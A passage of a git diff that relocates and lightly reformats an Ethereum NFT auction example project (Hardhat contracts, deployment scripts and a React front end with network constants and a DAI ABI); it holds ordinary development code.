     window.localStorage.setItem("theme", currentTheme);
@@ -24,7 +24,7 @@ export default function ThemeSwitcher() {
 
   return (
     <div className="main fade-in" style={{position:"fixed",right:8,bottom:8}}>
-      <span style={{padding:8}}>{currentTheme=="light" ? "☀️" : "🌜"}</span>
+      <span style={{padding:8}}>{currentTheme==="light" ? "☀️" : "🌜"}</span>
       <Switch checked={isDarkMode} onChange={toggleTheme} />
     </div>
   );
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Timeline.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Timeline.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Timeline.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Timeline.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/TokenBalance.jsx b/basic/16-nft-auction-exchange/react-app/src/components/TokenBalance.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/TokenBalance.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/TokenBalance.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Wallet.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Wallet.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Wallet.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Wallet.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/index.js b/basic/16-nft-auction-exchange/react-app/src/components/index.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/index.js
rename to basic/16-nft-auction-exchange/react-app/src/components/index.js
diff --git a/basic/16-nft-auction-exchange/react-app/src/constants.js b/basic/16-nft-auction-exchange/react-app/src/constants.js
new file mode 100644
index 000000000..da5dfde3b
--- /dev/null
+++ b/basic/16-nft-auction-exchange/react-app/src/constants.js
@@ -0,0 +1,376 @@
+// MY INFURA_ID, SWAP IN YOURS FROM https://infura.io/dashboard/ethereum
+export const INFURA_ID = "460f40a260564ac4a4f4b3fffb032dad";
+
+//MY ETHERSCAN_ID, SWAP IN YOURS FROM https://etherscan.io/myapikey
+export const ETHERSCAN_KEY = "PSW8C433Q667DVEX5BCRMGNAH9FSGFZ7Q8";
+
+//BLOCKNATIVE ID FOR Notify.js:
+export const BLOCKNATIVE_DAPPID = "0b58206a-f3c0-4701-a62f-73c7243e8c77";
+
+// EXTERNAL CONTRACTS
+
+export const DAI_ADDRESS = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
+
+export const DAI_ABI = [
+  {
+    inputs: [{ internalType: "uint256", name: "chainId_", type: "uint256" }],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "constructor",
+  },
+  {
+    anonymous: false,
+    inputs: [
+      { indexed: true, internalType: "address", name: "src", type: "address" },
+      { indexed: true, internalType: "address", name: "guy", type: "address" },
+      { indexed: false, internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "Approval",
+    type: "event",
+  },
+  {
+    anonymous: true,
+    inputs: [
+      { indexed: true, internalType: "bytes4", name: "sig", type: "bytes4" },
+      { indexed: true, internalType: "address", name: "usr", type: "address" },
+      { indexed: true, internalType: "bytes32", name: "arg1", type: "bytes32" },
+      { indexed: true, internalType: "bytes32", name: "arg2", type: "bytes32" },
+      { indexed: false, internalType: "bytes", name: "data", type: "bytes" },
+    ],
+    name: "LogNote",
+    type: "event",
+  },
+  {
+    anonymous: false,
+    inputs: [
+      { indexed: true, internalType: "address", name: "src", type: "address" },
+      { indexed: true, internalType: "address", name: "dst", type: "address" },
+      { indexed: false, internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "Transfer",
+    type: "event",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "DOMAIN_SEPARATOR",
+    outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "PERMIT_TYPEHASH",
+    outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [
+      { internalType: "address", name: "", type: "address" },
+      { internalType: "address", name: "", type: "address" },
+    ],
+    name: "allowance",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "usr", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "approve",
+    outputs: [{ internalType: "bool", name: "", type: "bool" }],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [{ internalType: "address", name: "", type: "address" }],
+    name: "balanceOf",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "usr", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "burn",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "decimals",
+    outputs: [{ internalType: "uint8", name: "", type: "uint8" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [{ internalType: "address", name: "guy", type: "address" }],
+    name: "deny",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "usr", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "mint",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "src", type: "address" },
+      { internalType: "address", name: "dst", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "move",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "name",
+    outputs: [{ internalType: "string", name: "", type: "string" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [{ internalType: "address", name: "", type: "address" }],
+    name: "nonces",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "holder", type: "address" },
+      { internalType: "address", name: "spender", type: "address" },
+      { internalType: "uint256", name: "nonce", type: "uint256" },
+      { internalType: "uint256", name: "expiry", type: "uint256" },
+      { internalType: "bool", name: "allowed", type: "bool" },
+      { internalType: "uint8", name: "v", type: "uint8" },
+      { internalType: "bytes32", name: "r", type: "bytes32" },
+      { internalType: "bytes32", name: "s", type: "bytes32" },
+    ],
+    name: "permit",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "usr", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "pull",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "usr", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "push",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [{ internalType: "address", name: "guy", type: "address" }],
+    name: "rely",
+    outputs: [],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "symbol",
+    outputs: [{ internalType: "string", name: "", type: "string" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "totalSupply",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "dst", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "transfer",
+    outputs: [{ internalType: "bool", name: "", type: "bool" }],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: false,
+    inputs: [
+      { internalType: "address", name: "src", type: "address" },
+      { internalType: "address", name: "dst", type: "address" },
+      { internalType: "uint256", name: "wad", type: "uint256" },
+    ],
+    name: "transferFrom",
+    outputs: [{ internalType: "bool", name: "", type: "bool" }],
+    payable: false,
+    stateMutability: "nonpayable",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [],
+    name: "version",
+    outputs: [{ internalType: "string", name: "", type: "string" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    constant: true,
+    inputs: [{ internalType: "address", name: "", type: "address" }],
+    name: "wards",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    payable: false,
+    stateMutability: "view",
+    type: "function",
+  },
+];
+
+export const NETWORK = chainId => {
+  for (let n in NETWORKS) {
+    if (NETWORKS[n].chainId === chainId) {
+      return NETWORKS[n];
+    }
+  }
+};
+
+export const NETWORKS = {
+  localhost: {
+    name: "localhost",
+    color: "#666666",
+    chainId: 31337,
+    blockExplorer: "",
+    rpcUrl: "http://" + window.location.hostname + ":8545",
+  },
+  mainnet: {
+    name: "mainnet",
+    color: "#ff8b9e",
+    chainId: 1,
+    rpcUrl: `https://mainnet.infura.io/v3/${INFURA_ID}`,
+    blockExplorer: "https://etherscan.io/",
+  },
+  kovan: {
+    name: "kovan",
+    color: "#7003DD",
+    chainId: 42,
+    rpcUrl: `https://kovan.infura.io/v3/${INFURA_ID}`,
+    blockExplorer: "https://kovan.etherscan.io/",
+    faucet: "https://gitter.im/kovan-testnet/faucet", //https://faucet.kovan.network/
+  },
+  rinkeby: {
+    name: "rinkeby",
+    color: "#e0d068",
+    chainId: 4,
+    rpcUrl: `https://rinkeby.infura.io/v3/${INFURA_ID}`,
+    faucet: "https://faucet.rinkeby.io/",
+    blockExplorer: "https://rinkeby.etherscan.io/",
+  },
+  ropsten: {
+    name: "ropsten",
+    color: "#F60D09",
+    chainId: 3,
+    faucet: "https://faucet.ropsten.be/",
+    blockExplorer: "https://ropsten.etherscan.io/",
+    rpcUrl: `https://ropsten.infura.io/v3/${INFURA_ID}`,
+  },
+  goerli: {
+    name: "goerli",
+    color: "#0975F6",
+    chainId: 5,
+    faucet: "https://goerli-faucet.slock.it/",
+    blockExplorer: "https://goerli.etherscan.io/",
+    rpcUrl: `https://goerli.infura.io/v3/${INFURA_ID}`,
+  },
+  xdai: {
+    name: "xdai",
+    color: "#48a9a6",
+    chainId: 100,
+    price: 1,
+    gasPrice: 1000000000,
+    rpcUrl: "https://dai.poa.network",
+    faucet: "https://xdai-faucet.top/",
+    blockExplorer: "https://blockscout.com/poa/xdai/",
+  },
+  matic: {
+    name: "matic",
+    color: "#2bbdf7",
+    chainId: 137,
+    price: 1,
+    gasPrice: 1000000000,
+    rpcUrl: "https://rpc-mainnet.maticvigil.com",
+    faucet: "https://faucet.matic.network/",
+    blockExplorer: "https://explorer-mainnet.maticvigil.com//",
+  },
+  mumbai: {
+    name: "mumbai",
+    color: "#92D9FA",
+    chainId: 80001,
+    price: 1,
+    gasPrice: 1000000000,
+    rpcUrl: "https://rpc-mumbai.maticvigil.com",
+    faucet: "https://faucet.matic.network/",
+    blockExplorer: "https://mumbai-explorer.matic.today/",
+  },
+};
diff --git a/Example16-hardhat-auction-exchange/react-app/src/contracts/contracts.js b/basic/16-nft-auction-exchange/react-app/src/contracts/contracts.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/contracts/contracts.js
rename to basic/16-nft-auction-exchange/react-app/src/contracts/contracts.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/ethereumLogo.png b/basic/16-nft-auction-exchange/react-app/src/ethereumLogo.png
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/ethereumLogo.png
rename to basic/16-nft-auction-exchange/react-app/src/ethereumLogo.png
diff --git a/Example16-hardhat-auction-exchange/react-app/src/helpers/Transactor.js b/basic/16-nft-auction-exchange/react-app/src/helpers/Transactor.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/helpers/Transactor.js
rename to basic/16-nft-auction-exchange/react-app/src/helpers/Transactor.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/helpers/index.js b/basic/16-nft-auction-exchange/react-app/src/helpers/index.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/helpers/index.js
rename to basic/16-nft-auction-exchange/react-app/src/helpers/index.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/Balance.js b/basic/16-nft-auction-exchange/react-app/src/hooks/Balance.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/Balance.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/Balance.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/ContractExistsAtAddress.js b/basic/16-nft-auction-exchange/react-app/src/hooks/ContractExistsAtAddress.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/ContractExistsAtAddress.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/ContractExistsAtAddress.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/ContractLoader.js b/basic/16-nft-auction-exchange/react-app/src/hooks/ContractLoader.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/ContractLoader.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/ContractLoader.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/ContractReader.js b/basic/16-nft-auction-exchange/react-app/src/hooks/ContractReader.js
similarity index 78%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/ContractReader.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/ContractReader.js
index a031db04d..6245d6144 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/hooks/ContractReader.js
+++ b/basic/16-nft-auction-exchange/react-app/src/hooks/ContractReader.js
@@ -1,7 +1,6 @@
 import { useState, useEffect } from "react";
 import usePoller from "./Poller";
 import useOnBlock from "./OnBlock";
-import { Provider } from "@ethersproject/providers";
 
 const DEBUG = false;
 
@@ -60,24 +59,26 @@ export default function useContractReader(contracts, contractName, functionName,
     } catch (e) {
       console.log(e);
     }
-  }
+  };
 
-// Only pass a provider to watch on a block if we have a contract and no PollTime
-  useOnBlock(
-    (contracts && contracts[contractName] && adjustPollTime === 0)&&contracts[contractName].provider,
-    () => {
+  // Only pass a provider to watch on a block if we have a contract and no PollTime
+  useOnBlock(contracts && contracts[contractName] && adjustPollTime === 0 && contracts[contractName].provider, () => {
     if (contracts && contracts[contractName] && adjustPollTime === 0) {
-      updateValue()
-  }
-  })
+      updateValue();
+    }
+  });
 
-// Use a poller if a pollTime is provided
-usePoller(async () => {
-  if (contracts && contracts[contractName] && adjustPollTime > 0) {
-    if (DEBUG) console.log('polling!', contractName, functionName)
-    updateValue()
-  }
-}, adjustPollTime, contracts && contracts[contractName])
+  // Use a poller if a pollTime is provided
+  usePoller(
+    async () => {
+      if (contracts && contracts[contractName] && adjustPollTime > 0) {
+        if (DEBUG) console.log("polling!", contractName, functionName);
+        updateValue();
+      }
+    },
+    adjustPollTime,
+    contracts && contracts[contractName],
+  );
 
   return value;
 }
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/CustomContractLoader.js b/basic/16-nft-auction-exchange/react-app/src/hooks/CustomContractLoader.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/CustomContractLoader.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/CustomContractLoader.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/Debounce.js b/basic/16-nft-auction-exchange/react-app/src/hooks/Debounce.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/Debounce.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/Debounce.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/EventListener.js b/basic/16-nft-auction-exchange/react-app/src/hooks/EventListener.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/EventListener.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/EventListener.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/ExchangePrice.js b/basic/16-nft-auction-exchange/react-app/src/hooks/ExchangePrice.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/ExchangePrice.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/ExchangePrice.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/ExternalContractLoader.js b/basic/16-nft-auction-exchange/react-app/src/hooks/ExternalContractLoader.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/ExternalContractLoader.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/ExternalContractLoader.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/GasPrice.js b/basic/16-nft-auction-exchange/react-app/src/hooks/GasPrice.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/GasPrice.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/GasPrice.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/LocalStorage.js b/basic/16-nft-auction-exchange/react-app/src/hooks/LocalStorage.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/LocalStorage.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/LocalStorage.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/LookupAddress.js b/basic/16-nft-auction-exchange/react-app/src/hooks/LookupAddress.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/LookupAddress.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/LookupAddress.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/Nonce.js b/basic/16-nft-auction-exchange/react-app/src/hooks/Nonce.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/Nonce.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/Nonce.js
diff --git a/basic/16-nft-auction-exchange/react-app/src/hooks/OnBlock.js b/basic/16-nft-auction-exchange/react-app/src/hooks/OnBlock.js
new file mode 100644
index 000000000..e1786c0bd
--- /dev/null
+++ b/basic/16-nft-auction-exchange/react-app/src/hooks/OnBlock.js
@@ -0,0 +1,35 @@
+import { useEffect, useRef } from "react";
+
+// helper hook to call a function regularly in time intervals
+let DEBUG = false;
+
+export default function useOnBlock(provider, fn, args) {
+  const savedCallback = useRef();
+  // Remember the latest fn.
+  useEffect(() => {
+    savedCallback.current = fn;
+  }, [fn]);
+
+  // Turn on the listener if we have a function & a provider
+  useEffect(() => {
+    if (fn && provider) {
+      const listener = blockNumber => {
+        if (DEBUG) console.log(blockNumber, fn, args, provider.listeners());
+
+        if (args && args.length > 0) {
+          savedCallback.current(...args);
+        } else {
+          savedCallback.current();
+        }
+      };
+
+      provider.on("block", listener);
+
+      return () => {
+        provider.off("block", listener);
+      };
+    } else {
+      return () => {}
+    }
+  }, [provider]);
+}
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/Poller.js b/basic/16-nft-auction-exchange/react-app/src/hooks/Poller.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/Poller.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/Poller.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/ResolveName.js b/basic/16-nft-auction-exchange/react-app/src/hooks/ResolveName.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/ResolveName.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/ResolveName.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/TokenList.js b/basic/16-nft-auction-exchange/react-app/src/hooks/TokenList.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/TokenList.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/TokenList.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/UserProvider.js b/basic/16-nft-auction-exchange/react-app/src/hooks/UserProvider.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/UserProvider.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/UserProvider.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/index.js b/basic/16-nft-auction-exchange/react-app/src/hooks/index.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/hooks/index.js
rename to basic/16-nft-auction-exchange/react-app/src/hooks/index.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/index.css b/basic/16-nft-auction-exchange/react-app/src/index.css
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/index.css
rename to basic/16-nft-auction-exchange/react-app/src/index.css
diff --git a/Example16-hardhat-auction-exchange/react-app/src/index.jsx b/basic/16-nft-auction-exchange/react-app/src/index.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/index.jsx
rename to basic/16-nft-auction-exchange/react-app/src/index.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/setupTests.js b/basic/16-nft-auction-exchange/react-app/src/setupTests.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/setupTests.js
rename to basic/16-nft-auction-exchange/react-app/src/setupTests.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/themes/dark-theme.less b/basic/16-nft-auction-exchange/react-app/src/themes/dark-theme.less
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/themes/dark-theme.less
rename to basic/16-nft-auction-exchange/react-app/src/themes/dark-theme.less
diff --git a/Example16-hardhat-auction-exchange/react-app/src/themes/light-theme.less b/basic/16-nft-auction-exchange/react-app/src/themes/light-theme.less
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/themes/light-theme.less
rename to basic/16-nft-auction-exchange/react-app/src/themes/light-theme.less
diff --git a/Example16-hardhat-auction-exchange/react-app/src/views/ExampleUI.jsx b/basic/16-nft-auction-exchange/react-app/src/views/ExampleUI.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/views/ExampleUI.jsx
rename to basic/16-nft-auction-exchange/react-app/src/views/ExampleUI.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/views/Hints.jsx b/basic/16-nft-auction-exchange/react-app/src/views/Hints.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/views/Hints.jsx
rename to basic/16-nft-auction-exchange/react-app/src/views/Hints.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/views/Subgraph.jsx b/basic/16-nft-auction-exchange/react-app/src/views/Subgraph.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/views/Subgraph.jsx
rename to basic/16-nft-auction-exchange/react-app/src/views/Subgraph.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/views/index.js b/basic/16-nft-auction-exchange/react-app/src/views/index.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/views/index.js
rename to basic/16-nft-auction-exchange/react-app/src/views/index.js
diff --git a/basic/16-nft-auction-exchange/scripts/auction-fix-price-script.js b/basic/16-nft-auction-exchange/scripts/auction-fix-price-script.js
new file mode 100644
index 000000000..6fb19722e
--- /dev/null
+++ b/basic/16-nft-auction-exchange/scripts/auction-fix-price-script.js
@@ -0,0 +1,108 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+
+async function main() {
+  // await hre.run('compile');
+  const [owner, Alice, Bob] = await hre.ethers.getSigners()
+
+  console.log('owner:', owner.address)
+  console.log('Alice:', Alice.address)
+  console.log('Bob:', Bob.address)
+
+  //todo deploy erc721 & erc20
+  // const erc20 = "0x7B698903d4A52f0A00a4288C0f1b9bC07B161748";
+  //const erc721 = '0xBf2efA0AdB1DaFBF051B302F881bAC56c2a35db7'
+  //const auction = '0x09d09A4E7b8eE3c21aB91b2404a5c7Cfec4cf90e'
+
+  //  const token = await hre.ethers.getContractAt("contracts/IERC20.sol:IERC20",erc20);
+
+  const tokenContractFactory = await ethers.getContractFactory('SimpleToken')
+  const token = await tokenContractFactory.deploy('HEHE', 'HH', 1, 100000000)
+  await token.deployed()
+
+  const erc20 = token.address
+
+  console.log('Token address:', token.address)
+
+  await token.transfer(Alice.address, 1000)
+
+  const bal = await token.balanceOf(Alice.address)
+  console.log('alice erc20 balance after: ', bal.toNumber())
+
+  const nfttokenContractFactory = await ethers.getContractFactory('MYERC721')
+  const nfttoken = await nfttokenContractFactory.deploy("MYERC721", "MYERC721", "MYERC721")
+  await nfttoken.deployed()
+  
+  const erc721 = nfttoken.address
+
+
+  await nfttoken.mintWithTokenURI(owner.address, 'www.baidu.com')
+
+  let nftbalBigNumber = await nfttoken.balanceOf(owner.address)
+  let erc721Id = nftbalBigNumber.toNumber() - 1
+  console.log('owner nft balance', nftbalBigNumber.toNumber())
+
+  const auctionContractFactory = await ethers.getContractFactory('AuctionFixedPrice')
+  const auctionFixedPrice = await auctionContractFactory.deploy()
+  await auctionFixedPrice.deployed()
+  
+  const auction = auctionFixedPrice.address
+
+  let auctionFixedPriceAlice = auctionFixedPrice.connect(Alice)
+  console.log('auctionFixedPrice deployed to:', auctionFixedPrice.address)
+  await nfttoken.approve(auction, erc721Id)
+
+  //   console.log("approveTx: ", approveTx)
+  console.log(erc721Id, 'owner approve auction erc721 transfer successfully')
+
+  var timestamp = new Date().getTime()
+  const endTime = timestamp + 3600 * 1000
+  console.log('endtime: ', endTime)
+
+  await auctionFixedPrice.createTokenAuction(
+    erc721,
+    erc721Id,
+    erc20,
+    100,
+    endTime
+  )
+  console.log('owner create token  {} auction successfully:  ', erc721Id)
+  const auctionDetail = await auctionFixedPrice.getTokenAuctionDetails(
+    erc721,
+    erc721Id
+  )
+
+  let tokenAlice = token.connect(Alice)
+
+  await tokenAlice.approve(auction, 1000)
+
+  let allow = await token.allowance(Alice.address, auction)
+  console.log('alice allowans ', allow.toNumber())
+
+  await auctionFixedPriceAlice.purchaseNFTToken(erc721, erc721Id)
+
+  console.log('alice purchase successfully: ')
+
+  const auctionDetail1 = await auctionFixedPrice.getTokenAuctionDetails(
+    erc721,
+    erc721Id
+  )
+
+  let erc721IdOwner = await nfttoken.ownerOf(erc721Id)
+
+  console.log(auctionDetail1)
+  console.log(erc721Id, 'nft owner: ', erc721IdOwner)
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/Example16-hardhat-auction-exchange/scripts/auction-unfix-price-script.js b/basic/16-nft-auction-exchange/scripts/auction-unfix-price-script.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/scripts/auction-unfix-price-script.js
rename to basic/16-nft-auction-exchange/scripts/auction-unfix-price-script.js
diff --git a/Example16-hardhat-auction-exchange/scripts/catBlindbox.js b/basic/16-nft-auction-exchange/scripts/catBlindbox.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/scripts/catBlindbox.js
rename to basic/16-nft-auction-exchange/scripts/catBlindbox.js
diff --git a/Example16-hardhat-auction-exchange/scripts/deploy.js b/basic/16-nft-auction-exchange/scripts/deploy.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/scripts/deploy.js
rename to basic/16-nft-auction-exchange/scripts/deploy.js
diff --git a/Example16-hardhat-auction-exchange/scripts/react_app_contract.js b/basic/16-nft-auction-exchange/scripts/react_app_contract.js
similarity index 98%
rename from Example16-hardhat-auction-exchange/scripts/react_app_contract.js
rename to basic/16-nft-auction-exchange/scripts/react_app_contract.js
index 0328159d8..8239b1048 100644
--- a/Example16-hardhat-auction-exchange/scripts/react_app_contract.js
+++ b/basic/16-nft-auction-exchange/scripts/react_app_contract.js
@@ -94,7 +94,7 @@ const deploy = async (contractName, _args = [], overrides = {}, libraries = {})
   const contractArtifacts = await ethers.getContractFactory(contractName,{libraries: libraries});
   const deployed = await contractArtifacts.deploy(...contractArgs, overrides);
   const encoded = abiEncodeArgs(deployed, contractArgs);
-  const artifact = artifacts.readArtifactSync(contractName)
+  const artifact = artifacts.readArtifactSync(contractName);
 
   if (contractName.indexOf(":")) {
     contractName = contractName.substring(contractName.lastIndexOf(":") + 1);
diff --git a/Example16-hardhat-auction-exchange/scripts/upload.js b/basic/16-nft-auction-exchange/scripts/upload.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/scripts/upload.js
rename to basic/16-nft-auction-exchange/scripts/upload.js
diff --git a/Example16-hardhat-auction-exchange/test/auction-fixed-test.js b/basic/16-nft-auction-exchange/test/auction-fixed-test.js
similarity index 96%
rename from Example16-hardhat-auction-exchange/test/auction-fixed-test.js
rename to basic/16-nft-auction-exchange/test/auction-fixed-test.js
index f752432be..e587a382a 100644
--- a/Example16-hardhat-auction-exchange/test/auction-fixed-test.js
+++ b/basic/16-nft-auction-exchange/test/auction-fixed-test.js
@@ -79,13 +79,15 @@ describe("AuctionFixedPrice contract", function() {
         const endTime = timestamp + 3600*1000;
         await auctionContract.createTokenAuction(myerc721.address, erc721Id, hardhatToken.address, 100, endTime);
 
